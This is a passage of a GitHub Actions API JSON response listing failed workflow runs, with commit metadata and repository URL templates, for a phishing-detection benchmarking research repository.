comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":267785745,"node_id":"MDExOldvcmtmbG93UnVuMjY3Nzg1NzQ1","head_branch":"dataset_move","head_sha":"97a283ba3978c3153c7a9f38f8ae5963383a95e9","run_number":946,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1230792176,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjMwNzkyMTc2","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267785745","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/267785745","pull_requests":[],"created_at":"2020-09-22T23:18:32Z","updated_at":"2020-09-22T23:39:31Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267785745/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267785745/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1230792176","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267785745/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267785745/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267785745/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"97a283ba3978c3153c7a9f38f8ae5963383a95e9","tree_id":"40a2feabf8fd9463ab2b22050eee9edcd0215bd2","message":"Fixed user interaction","timestamp":"2020-09-22T23:18:26Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":267782919,"node_id":"MDExOldvcmtmbG93UnVuMjY3NzgyOTE5","head_branch":"dataset_move","head_sha":"9c6f76b9861cabfb1f3e09d9177de9103568f397","run_number":944,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1230784987,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjMwNzg0OTg3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267782919","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/267782919","pull_requests":[],"created_at":"2020-09-22T23:16:18Z","updated_at":"2020-09-22T23:24:01Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267782919/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267782919/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1230784987","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267782919/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267782919/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267782919/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"9c6f76b9861cabfb1f3e09d9177de9103568f397","tree_id":"fbfefeb2208485b59c78d0ba8f51e0bbdd3e0dff","message":"Moved dataset.settings to input.settings","timestamp":"2020-09-22T23:16:10Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":267532570,"node_id":"MDExOldvcmtmbG93UnVuMjY3NTMyNTcw","head_branch":"feature_fit","head_sha":"8751924b494dd4ea0abf4579d2b104aea123e5cf","run_number":934,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1229988384,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjI5OTg4Mzg0","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267532570","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/267532570","pull_requests":[],"created_at":"2020-09-22T19:49:59Z","updated_at":"2020-09-22T20:04:57Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267532570/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267532570/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1229988384","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267532570/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267532570/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267532570/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"8751924b494dd4ea0abf4579d2b104aea123e5cf","tree_id":"a80d95b8f4ba04a2acfedf14a3af7c2d31760e63","message":"Updated email feature extraction for new method","timestamp":"2020-09-22T19:49:48Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/